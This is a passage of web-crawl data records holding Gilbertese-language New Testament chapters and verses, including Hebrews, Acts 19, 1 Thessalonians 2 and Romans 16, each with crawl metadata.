kairiribai te Atua. 28Ane e aki ongotaeka nakon ana Tua Mote, ao e kamateaki n aki nanoangaaki ngkana e motikaki taekana, bwa e bure n aia bukibuki uoman ke teniman aika a kaota ana bure. 29Tera ngkanne aron te aomata ae e toutoua Natin te Atua i aani waena, ma n atoatonga te raraa are e bwain te booraraoi are e kaitiakaki iai man te bure bwa te bwai ae e aki itiaki, ma ni kamatauningaa te Taamnei n akoi? Iangoia ngkanne bwa mwaitira riki te karawaawataaki are e na bwakaria bwa mwiini motikan taekana! 30Bwa ti ataa Teuare e kaangai, Au bwai te kareke kai; N na kabooboo Ngai. Ao manga aio: E na motiki-taekaia ana bootanaomata te Uea. 31Te bwai ae e kakamaaku te bwakara nanoni bain te Atua ae e maiu. 32Ma kam na ururingi boong ake rimoa, ngke e moa n reke te oota iroumi, ao kam kekeiaki mwaaka n taon nanomi nakon taiani maraki ake kam taonaki iai. 33N taai tabetai kam taetaebuakaaki ma ni bwainikiriinaki i mataia aomata bwa kaanga bwaai ni kamataku; ao n tabetai kam raoniia ake a bwainikiriinaki n te aro aei. 34Bwa kam uaia ni maraki ma ake a kabureaki, ao ngke kam kuribwaiaki ao kam kataua ma te kukurei, ngkai kam ataia bwa bon iai ami bwai aika a raraoi riki aika a aki mauna i karawa. 35Ma ngaia ae kam na tai kaaki aromi n nanomatoa, bwa bon iai kabwaiami ae e bati ae e na reke iai. 36E riai bwa kam na nanomwaaka, bwa kam aonga ni karaoa nanon te Atua ao e na reke iroumi iai te baere e taekinaki n te taeka n akoi. 37Bwa e kaangai te Baibara, Bwa ai ti teutana, ao ane E na roko Teuare e nangi roko, ao E na aki waeremwe. 38Ao au aomata ae e raoiroi e na maiu n te onimaki; ao ngkana e keerikaaki, ao I bon aki kukurei irouna. 39Ma tiaki ngaira kaain te keerikaaki nakon te mate, ma kaain te onimaki nakon te maiu.\nEBERA 10","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/10","date":"2014-07-30T21:39:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510271654.40\/warc\/CC-MAIN-20140728011751-00146-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1101,"character_repetition_ratio":0.042,"word_repetition_ratio":0.007,"special_characters_ratio":0.236,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:66are e roko iroumi ao i aonnaba ni kabane: ao e kariki uaa ma n rikirake naba i nanomi man te bong are kam ongo taekana iai, ao n ataa raoi ana aakoi te Atua n arona ni koaua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/6","date":"2014-07-24T07:39:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997888210.96\/warc\/CC-MAIN-20140722025808-00238-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000085830688477}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.345,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:22Bwa ngke e nooraki aron te taeka are e taekinaki irouia anera bwa e koaua, ao ngke a reke booni buure ni kabane ma aki-ongeaaba ni kabane aika booia aika a riai, Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/2","date":"2014-07-25T20:40:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997894799.55\/warc\/CC-MAIN-20140722025814-00168-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000044107437134}","num_words":48,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:1111Bwa Iesu ni bootaki ma ake a riki n tabu maiuia irouna bwa ana bwai te Atua a bane n nako man te oi ae ti teuana. Ma ngaia ae E aki maamaa n atongiia bwa tarina, Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/11","date":"2014-07-30T09:19:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510270313.12\/warc\/CC-MAIN-20140728011750-00227-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.000004529953003}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bwa kam bon ataa rinra i buakomi, taari, bwa e aki matebuaka; 2ao n aron ae kam ataia, ti a tia ni kammarakaki ma ni bwainikiriinaki i Biribi, ma ti ninikoria iroun Atuara n taekina ana euangkerio nakoimi ma te kekeiaki ae e bati. 3Bwa arora ni kauungai nanomi e aki nako man te nano ae e aki eti, ke man te nano ae e kammaira, ma ni kani mwaamwanaa te aba: 4ma ngkai ti a tia ni kakoauaaki iroun te Atua i mwiini kataakira irouna bwa ti riai ni mwiokoaki ibukin tataekinan te euangkerio, ao ti bon riai n taetae, n aki kakukureia aomata, ma ti na kakukureia te Atua are Ngaia ae e katai nanora bwa ua ra. 5Bwa ti bon aki taetae ni karangingkami, n ai aron ae kam ataia: ao ti aki taetae ma nanora ni kani bwaibwai ae e raba—ara tia kakoaua te Atua. 6Ti aki ukoukora kamoamoaara mai irouia aomata, ke mai iroumi, ke mai irouia tabemwaang. 7E boni ngae ngke iai ara konaa n tangiri bwaai i bukira mai iroumi, ngkai ana tia tuatua Kristo ngaira; ma ti nimamannei i buakomi, n ai aron te tia tobwa ngkana e akoiia oin natina. 8Ma ngaia ae ngkai ti rangi n tangiringkami, ao ti aki kan anganingkami ti ana euangkerio te Atua, ma ti kan anganingkami naba maiura, ngkai kam a riki ni bati n tangiraki iroura. 9Taari, kam bon uringa ara mwakuri bwa e kakua ao e kaangaanga; ngke ti mwakuri n te bong ao n te ngaina, bwa ti aonga n aki karawaawata temanna i buakomi n ara tai n tataekina ana euangkerio te Atua nakoimi. 10Ara taani kakoaua ngkami ma te Atua naba, n arora ake ti bwain nakoimi, ngkami aika kam onimaki; bwa ti bwaina te maiu ae e itiaki ae e karaoa nanon te Atua ao ae akea kabuaakakaana. 11Ao kam bon atai naba arora nakoimi bwa kaanga aron te tama nakoia oin natina. 12Ni kauungaingkami, ma ni kabeebeteingkami, ma n tuatuangkami bwa kam na bwaina te maiu ae e booraoi ma nanon te Atua, ae e weteingkami nako nanon ueana ma neboakina. 13Ao aei naba bukin te bae ti aki toki ni katituaraoa iai te Atua: bwa ngke kam butimwaaea ana taeka te Atua mai iroura, ao kam kaaki i nanomi bwa tiaki aia taeka aomata, ma n etina ni koaua, bon ana taeka te Atua ane e mwamwakuri i nanomi ngkami akana kam onimaki. 14Taari, kam riki ni katootoongiia ana ekaretia te Atua i I-Iutaia, aika ana aomata Kristo Iesu, ibukina bwa kam a tia ni bwainikiriinaki naba irouia ami aomata ni baika ti te bo aroia ma ake a bwainikiriinaki iai irouia I-Iutaia; 15ake a kamatea te Uea are Iesu ma taiani buraabeti, ao a kakioira nako naba. A aki kakukureia te Atua, ao a ekiia nako aomata ni kabaneia; 16ao a kataia n tukira bwa ti na aki taetae nakoia aomata aika tiaki I-Iutaia, n taeka aika a na kamaiuaki iai. 17Ma ngaira, taari, ngkai ti raure ma ngkami n rabwatara, ma tiaki n nanora, n te tai ae e aki maan, ao a rangi ni korakora nanora ma n ingainga ni kan noori matami, ngkai ti rangi n tangiringkami. 18Ma ngaia ae ti a kan nakoimi. Ngai ae Bwauro, I kataia moa n te taina, ao manga te taina riki i mwiina; ma e tukira Tatan. 19Bwa tera ara kaantaninga, ao ara kimwaareirei, ao te baunuea ae ti na kamoamoaira iai? Tiaki boni ngkami i matan ara Uea are Iesu n rokona? 20Bwa kamoamoaara ngkami ao ara kimwaareirei.\n1 TETARONIKE 2","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/2","date":"2014-07-28T13:56:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510259834.25\/warc\/CC-MAIN-20140728011739-00252-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":594,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e mena Aboro i Korinto, ao Bwauro e ri nuukan aaba ake i eta, ao e roko i Ebeto; ao e kuneia Kristian tabemwaang iai. 2Ao e takunakoia, Kam anganaki te Taamnei are e Raoiroi ngke kam moa n onimaki ke kam aki? Ao ngaiia a takunakoina, Ti tuai n ongo taekan te Taamnei are e Raoiroi, bwa iai ke akea. 3E a manga titirakiniia riki ao e kaangai, Te aeka ni bwaabetiito ra are kam bwaabetitooaki iai? Ao a kaangai, Ana bwaabetiito Ioane. 4Ao e taku Bwauro, Ana bwaabetiito Ioane bon te bwaabetiito ibukin rairan te nano; ao e tuangiia aomata aika Iteraera bwa a na onimakina Teuare e nangi roko i mwiina, are Iesu. 5Ngke a ongo aei, ao a bwaabetitooaki n aran te Uea are Iesu. 6Ao ngke e katokaa baina Bwauro i aoia, ao E roko te Taamnei are e Raoiroi i aoia; ao a taetae n taetaen aaba aika a bati, ao a taetae ni buraabeti. 7Tao tengauni ma uoman mwaitiia aomata akekei ni kabaneia. 8I nanon teniua namwakaina ao e aki toki Bwauro n rin ni mwaneabaia I-Iutaia, n taetae iai n aki mamaaku, n tataekina uean te Atua bwa a aonga n anaaki nanoia aomata iai. 9Ma ngke a matoatoa nanoia temwaangina n rawa ni kan ira nanona, ma ni kabuaakaka i mataia aomata ana kaantaninga te Uea ibukin te kawai are a riai n toua, ao e nako mai irouia. E kairiia nako reirei ni kaokoroia, ao e reirei n te bong ae koraki n ana ru n reirei Turano. 10E kaakaraoa aei i nanon uoua te ririki, n te aro are a bane n ongo ana taeka te Uea aomata ake a maeka i Atia, ake I-Iutaia ma I-Erene. 11Ao E karaoi mwakuri aika a kamiimii te Atua, aika a aki nonoraki aroia ni baini Bwauro, 12n te aro are ngkana a anaaki kunnikai ma kaoanimaono ake a bo ma kunna ao a kaakaki i aoia aoraki, ao a konaa ni kamaiuaki iai man aorakiia, ao a oti nako naba taamnei aika a bubuaka mai irouia. 13Iai I-Iutaia tabemwaang aika a nanakonako ni kanakoia naba taamnei aika a bubuaka n aia tabunea. A kaboonganaa aran te Uea are Iesu nakoia aomata ake iai irouia taamnei aika a bubuaka, ao a kaangai, Ti tuangkami iroun Iesu are e tataekinna Bwauro. 14Itimani mwaitiia te koraki aika a karaoa te baei, aika natin te I-Iutaia ae aia mataniwi ibonga ae arana Tikeua. 15Ma e kaekaia te taamnei are e buaakaka, ni kaangai, I ataa Iesu, ao I ataa naba Bwauro; ma antai ngkami? 16A ewekaki ngkanne iroun te aomata are iai irouna te taamnei are e buaakaka, ao e konai aoia bwa e korakoranakoia. Ma ngaia are a biri nako mai nanon te auti arei ma kunnikaia aika a raeuaki, ao a ikoaki. 17E a ataaki te baei irouia I-Iutaia ma I-Erene ni kabaneia ake a maeka i Ebeto, ao a rangi ni maaku; ao e neboaki aran te Uea are Iesu. 18A mwaiti naba aomata i buakoia ake a a tia n onimaki aika a roko ni kaoti aroiia, ma ni karakin aia mwakuri nako aika a bubuaka. 19A bati aia koraki taan tabunea ake a uoti aia boki n tabunea ao a booti ni kabuoki i mataia aomata ni kabaneia; ao ngke a wareki mwaitini booia, ao a nooria bwa ngaia nimaua te ngaa te maibibi n tirewa. 20Ao e buta nako ana taeka te Uea n te aro anne, ao a bati riki aomata ake a onimaki. 21Ngke a a tia n riki baikekei, ao e moti i nanoni Bwauro bwa e na ri nuukani Mwaketonia ma Akaia n nako Ierutarem, ao e kaangai, I mwiin rokou i Ierutarem, ao e riai bwa N na noora naba Rom. 22Ao e kanakoia uoman mai buakoia raona ake a buobuokiia, are Timoteo ma Erateto nako Mwaketonia, ao ngaia e tiku ni kamaanna i Atia. 23I nanon taai akanne ao e riki te kiriwe ae korakora ibukin te Aro. 24Bwa te aomata temanna ae arana Temeterio, ae te tia karaoi bwaai man te tirewa, e kaakaraoi man tirewa umwantabu aika taore aika a uarereke aika katootoongan umwantabun Nei Aritemito, ao e korakora aia mwakuri iai te koraki ake a mwakuri irouna. 25E bootiia taani mwakuri aikai ma te koraki temwaangina ake ti te bo aekan naba aia mwakuri ma ngaiia, ao e taku, Mwaane, kam ataia bwa e reke kaubwaira man te mwakuri aei. 26Ao kam nooria, ao kam ongo, bwa tiaki ti i Ebeto ae e kairoroia ma n anai nanoia iai aomata teuare Bwauro, ma e kuri ni kabutaa aon Atia, n taku bwa tiaki atua baika a karaoaki ni baiia aomata. 27Iai ngkanne te kaangaanga ae e na reke nakon ara mwakuri aei, bwa e nang aki kubaraki. Ma tiaki ti ngaia, ma iai naba te kaangaanga ae e na reke nakon umwantabun te anti are e kakannato are Nei Aritemito, bwa e nang kaakeaaki boonganana; ao Nei Aritemito, are e taromauriiaki i Atia ao i aonnaba, e nangi mauna kakannatona. 28Ngke a ongo taeka akanne, ao a rangi n un, ao a takaarua ni kaangai, E kakannato Nei Aritemito, are antiia I-Ebeto. 29E buta aon te kaawa arei n te kiriwe, ao a tauaki irouia aomata Kaio ma Arititareko, aika I-Mwaketonia, aika raoni Bwauro ni mwamwananga. A bane ni bwaina te nano ae ti teuana ni kanenei nakon te tabo are a bobootaki iai kaain te kaawa, ao a tauuia uaakekei. 30E kan nako Bwauro n tei n taetae i mataia aomata, ma a tuukia ake a onimaki. 31A kanakoa naba nakoni Bwauro aia rongorongo I-Atia tabemwaang, aika taan tau-taeka aika raraona, ao a tuangnga bwa e na aki kaoti n aia tabo ni bobootaki kaain te kaawa. 32A mangao aomata: temwaangina a takaaruaea te bwai teuana, ao temwaangina te bwai teuana, bwa a mwaiti i buakoia ake a aki ataa bukin are a bootaki iai. 33Iai tabemwaang i buakoia ake a bukina Arekantero bwa ngaia are e karika te kiriwe, ibukina ngke e kanakoaki irouia I-Iutaia bwa e na tei i matan te bootaki. E taotaona baina Arekantero nakoia aomata bwa e kani karaua te taetaenakoia. 34Ma ngke a ataia bwa te I-Iutaia, ao a bane n takaarua n te bwanaa ae ti teuana, i nanon tao uoua te aoa, ni kaangai, E kakannato Nei Aritemito, are atuaia I-Ebeto! 35Ngke e a tia ni katoki karongoaaaia aomata te tia koroboki n te kaawa, ao e taku, Mwaane aika I-Ebeto, antai te aomata ae e aki ataa te kaawa ae Ebeto bwa ngaia te tia kaawakina umwantabun Nei Aritemito are e kakannato, ma te bwai are e bwaka mai karawa? 36A aki konaaki ni kakeweaki baikai, ma ngaia ae e riai bwa kam na rau, ao kam na karaurau n iango i mwaain ae kam karaoa te bwai teuana. 37Bwa kam kairiia mai aomata aikai, aika tiaki taani kurubwai umwantabu i bukiia anti, ao a aki taetaebuakaa naba Nei Aritemito. 38Ma ngaia aei, bwa ngkana tao iai ana taeka Temeterio ma taani mwakuri ake raona ni kabuaakakaa temanna, ao bon iai boong ni kaboowi ao iai naba taani moti: arei nneia n i kabuaakaka. 39Ma ngkana iai riki te bwai ae kam tangiria, ao e na baaireaki taekana ni kaboowiin te kaawa n aron taekana n te tua. 40Bwa ae ti a reke n te kaangaanga, bwa ti nangibukinaki bwa ngaira aika ti karika te kiriwe n te bong aei; ao akea ara taeka ae e raoiroi ae ti na anga bwa kabwarabwaraa nibukin te ibetutu n aomata aei. 41Ao ngke e a tia n atongi baikai, ao e kabwaranakoa te bootaki arei.\nMWAKURI 19","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/19","date":"2014-07-29T10:16:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510266894.52\/warc\/CC-MAIN-20140728011746-00294-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1275,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BIRIBI 2:1616n aromi n taua ni kamatoaa taekan te maiu. Ma ngaia ae ngkana e roko ana bong te Uea, ao N na boni kimwaareirei iroumi, ngkai e aki matebuaka au kekeiaki ma au mwakuri. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/16","date":"2014-07-25T01:43:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997892648.47\/warc\/CC-MAIN-20140722025812-00231-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":0.9999631643,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9999631643295288}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Aio ngkai kateniuan au tai ae N na nakoimi iai. N aron are e koreaki n te Baibara: A kamatoaaki taeka ni bukibuki ni kabane ngkana a kakoauaaki n aia taeka taani kakoaua aika uoman ke teniman. 2I a kaman tia n taetae nakoia te koraki ake a bure ngkoa ao I a manga taetae naba ngkai, ngkai I raroa mai iroumi: ngkana I a manga roko riki iroumi, ao bon akea irouia ae N na aki kaota arou ni matoatoa nakoina, 3ngkai kam ukoukora te bwai ae e na kakoauaaki iai bwa E taetae Kristo irou. E aki mamaara Kristo nakoimi, ma E mwaaka i buakomi. 4Bwa E tauraki n te kaibangaki ibukini mamaarana, ma E a manga maiu ni mwaakan te Atua. Bwa ti mamaara n ai aroni Kristo, ma n reitakira ma ngkami ao ti na maiu ma Ngaia ni mwaakan te Atua. 5Kam na kataingkami ao kakoauaingkami bwa kam bon onimaki ni koaua. Kam aki ataia bwa E mena Iesu Kristo i nanomi?—ma E aki mena i nanomi ngkana kam a tia ni kataingkami ao kam kakoauaa bwa kam aki onimaki ni koaua. 6Ma bon au kaantaninga bwa kam na ataira bwa ti a tia ni kataaki ao ti kakoauaaki bwa bon taan tuatua ni koaua ngaira. 7Ti tataro nakon te Atua bwa kam na aki karaoa te bwai teuana ae e buaakaka; ti aki tataro bwa ti aonga n nooraki bwa a nako raoi arora ngke ti kataaki, ma ti butiia bwa kam aonga ni karaoa ae e raoiroi, e boni ngae ngke ti taraa n aki kakoauaaki ni kataakira bwa bon taan tuatua ni koaua ngaira. 8Bwa akea te bae ti konaa ni karaoia n eekaanako te koaua iai, ma ti ti konaa ni buokia. 9Bwa ti kukurei ngkana ti mamaara, ao ngkami kam korakora; ao bon ara tataro naba aei i bukimi bwa kam na nako raoi n aromi. 10Ma ngaia ae I koroi baikai, ngkai I aki mena iroumi, bwa e aonga n ae ngkana I roko ao N na aki matoatoa nakoimi n arou ni kamanenaa te mwaaka are E a tia n anganai te Uea, are te mwaaka ni kateimatoa, ma tiaki n uruuru. 11Te kabanea, taari, kam na kakatonga, kam na kanako raoi aromi, kam na karau nanomi, kam na bwaina te nano ae ti te arona, kam na raoi; ao E na mena iroumi te Atua are e reke mai irouna te tangira ma te raoi. 12Kam na i kamauringkami, temanna nakon temanna, n ai aroia taari n inga. A bane ni kamauringkami Kristian aikai. 13E na mena iroumi ni kabaneingkami ana aakoi te Uea are Iesu Kristo, ma ana tangira te Atua, ma ana raorao te Taamnei are e Raoiroi.\n2 KORINTO 13","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/13","date":"2014-07-25T09:20:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997894140.11\/warc\/CC-MAIN-20140722025814-00078-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":454,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:2020I kekeiaki n tataekina te euangkerio tiaki n taabo ike e a tia n roko iai taekani Kristo: bwa N na aki reita nako te mwakuri are e a tia ni moanaki i mwaaiu iroun temanna; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/20","date":"2014-07-25T20:42:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997894799.55\/warc\/CC-MAIN-20140722025814-00231-ip-10-33-131-23.ec2.internal.warc.gz","language":"gil","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999994158744812}","num_words":52,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:1313E kainaomataira Kristo man te rekenikai are n te Tua, ngkae E karaoa are E na reke kaina iai i bukira, bwa e koreaki ae e kaangai, E a reke kain te aomata ae e tauraki n te kai: Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/13","date":"2014-07-12T08:27:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776432786.7\/warc\/CC-MAIN-20140707234032-00062-ip-10-180-212-248.ec2.internal.warc.gz","language":"gil","language_score":0.9999738932,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9999738931655884}","num_words":55,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:99Ao ngkana kam ongo taekan taiani buaka ma kiriwe, ao tai maaku; bwa a riai n riki moa baikai, ma tiaki nanona bwa a kaotia n ae e nangi roko ni waekoa te toki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/9","date":"2014-07-11T09:24:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1404776426486.74\/warc\/CC-MAIN-20140707234026-00082-ip-10-180-212-248.ec2.internal.warc.gz","language":"gil","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999924898147583}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 1:99ti aki nanokokoraki bwa ti taku bwa ti nangi boni mate. Ma e riki aei bwa ti aonga n aki onimakinira, ma ti na onimakina te Atua are a manga maiu maate irouna; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/1\/9","date":"2014-07-29T17:22:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510267745.6\/warc\/CC-MAIN-20140728011747-00305-ip-10-146-231-18.ec2.internal.warc.gz","language":"gil","language_score":0.9999246597,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999246597290039}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I kan taekina nakoimi aron Nei Boibe are mwaanera, bwa te aine ae raoiroi arona. Iai naba nakoana bwa te tia buobuoki n te ekaretia i Kengkirea. 2Mwaneia n akoia n aran te Uea, n te aro ae e riai irouia ana aomata te Atua; ao kam na buokia n te bwai ane e kainnanoia mai iroumi: bwa te tia buokiia aomata aika a bati ngaia, ao te tia buokai naba. 3Kam na anga au kamauri nakon Nei Beretika ma teuare Akura, ake raou ni mwakuri ibukini Kristo Iesu, 4ake a kuri ni kabuanibwai ngke a anga maiuia i bukiu. I rangi ni kaaitau nakoia; ma tiaki ti ngai, bwa a kaaitauaki naba irouia ekaretia ake tiaki I-Iutaia kaaina. 5Kam na anga naba au kamauri nakon te ekaretia ake a naanako kaaina ni bobootaki i nanon aia auti. Anga au kamauri nakon Ebaineto are e tangiraki irou: boni ngaia te moan aomata i Atia n onimakina Kristo. 6Anga au kamauri nakon Nei Maria, are e karaoi baika a bati i bukimi. ake a mena ma ngai n te karabuuti; a rangi ni kinaaki irouia taan tuatua, ao a onimakina Iesu i mwaaiu. 7Anga au kamauri nakon Anteroniko ma Nei Iunia, ake au bu, ake a mena ma ngai n te karabuti; a rangi ni kinaki irouia taan tuatua, ao a onimakina Iesu i mwaiu. 8Anga au kamauri nakon Ambiria, are e tangiraki irou ibukin onimakinan te Uea irouna. 9Anga au kamauri nakon Urebano, are raora ni mwakuri ibukin te Uea; ao nakon naba Titaku, are e tangiraki irou. 10Anga au kamauri nakon Abere are e kakoauaaki raoi teimatoana n onimakina Kristo ngke e kataaki. Anga au kamauri nakon ana utu Arititoburo. Anga au kamauri nakon ana utu Narekito, ake a onimakina naba te Uea. 11Anga au kamauri nakon au bu are Erorion. Anga au kamauri nakon ana utu Narekito, ake a onimakina naba te Uea. 12Anga au kamauri nakon Nei Terubaina ma Nei Terubota, ake a mwakuri ibukin te Uea; ao angan naba raraou are Bereti, are e rangi ni mwamwakuri ibukin te Uea. 13Anga au kamauri nakon Rubo are e rangi ni moamoa arona ni mwakuri ibukin te Uea; ao anga naba au kamauri nakon tinana, are e tabeakinai bwa kaanga ai aron natina ngai. 14Anga au kamauri nakon Atungkirito, ma Berekon, ma Ereme, ma Bateroba, ma Erema, ma taari ake a mena iroouia. 15Anga au kamaurinakoni Biroroko, ma Nei Iuria, ma Nerea ao mwaanena, ao nakon Nei Orumba, ma ana aomata te Atua ni kabaneia ake a mena irouia. 16Kam na i kamauri, temanna nakon temanna, n ai aroia taari n inga. A bane ni kamauringkami ana ekaretia Kristo. 17I butingkami, taari, bwa kam na tarataraiia te koraki akana eekaanako te reirei are kam reireiaki iai, bwa a karika te i raraaure iai irouia aomata; ao baika a karaoi a riki bwa bwaai ni kabwakabwaka. Kam na kararoaingkami mai irouia. 18Bwa a aki toro iroun ara Uea are Kristo aomata aika aroia akanne, ma a mwakuri ibukini birotoia. A bureburei nanoia aomata aika a kai rairaki aia iango n aia taeka aika a kareke nano ao n aia taeka ni karang. 19Bwa e ataaki aromi n ongeaaba nakon te Uea irouia aomata ni kabaneia, ao aei bukin ae I kimwaareirei iai i bukimi. Ma I tangiringkami bwa kam na wanawana n ataa te bae e raoiroi, ao kam na nano roo nakoni karaoan te bae e buaakaka. 20E a kaani kamanatuaan Tatan i aani waemi iroun te Atua, are e reke mai irouna te raoi. E na mena iroumi ana aakoi ara Uea are Iesu Kristo. 21E kamauringkami Timoteo, are raou ni mwakuri; ao a kamauringkami naba au buu aika Roukio, ma Iaton, ma Totibatero. 22I kamauringkami n aran te Uea ngai ae Teretio, ae I korea te reta aei. 23E kamauringkami Kaio ae ngaia ae I mena moa ngkai irouna; ao a kamauringkami naba kaain te ekaretia aika raou irouna. E kamauringkami naba Erateto, ae te tia kaawakina mwaanen te kaawa; ao ai arona naba ma Kuareto ae raora naba n onimaki. 25Ti na neboa te Atua! Bwa E konaa ni kateimatoaingkami n te euangkerio are I tataekinna, are rongorongon Iesu Kristo, ao ni kaotiotan te baere e raba are e karabaaki ma ngkoa i nanon rooro ma rooro; 26ma, ngkai, e a tia ni kaotaki, ao e a ataaki irouia bootanaomata ni kabaneia ri nanon aia boki buraabeti n ai 